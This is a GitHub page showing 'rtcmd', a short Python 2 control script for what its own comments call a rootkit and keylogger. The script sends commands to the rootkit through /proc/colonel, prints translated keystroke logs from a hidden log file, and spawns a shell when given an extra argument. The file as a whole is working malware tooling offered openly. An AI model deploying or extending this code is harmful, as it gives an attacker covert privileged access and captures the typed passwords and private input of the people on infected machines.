-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathrtcmd
executable file
·54 lines (43 loc) · 1.13 KB
/
rtcmd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import os
import sys
sys.path.append(os.path.abspath(os.path.dirname(__file__) + '/' + 'irc'))
import key
from os import getpid, execl
evlog = "/opt/__col_log/evlog.txt"
def command(c):
""" Opens and writes commands to /proc/colonel. """
f = open("/proc/colonel", "w")
f.write(c)
f.close()
def root_help():
""" Prints accepted root commands and status. """
f = open("/proc/colonel", "r")
doc = f.read()
f.close()
print doc
def keylogs():
""" Translate and print the keylog to console. """
log = open(evlog, 'r')
f = log.read()
log.close()
kl = key.translate(f)
print kl
def main():
""" Sends commands to the rootkit or keylogger via /proc/colonel. """
if len(sys.argv[:]) <= 1:
print "usage: %s <command>" % sys.argv[0]
elif os.geteuid() != 0 and "keylog" == sys.argv[1]:
print "usage: sudo %s <command>" % sys.argv[0]
# will open a shell given the correct command.
elif len(sys.argv[:]) > 2:
execl(sys.argv[2], "")
elif len(sys.argv[:]) > 1:
if "keylog" == sys.argv[1]:
keylogs()
elif "help" == sys.argv[1]:
root_help()
else:
command(sys.argv[1])
if __name__ == "__main__":
main()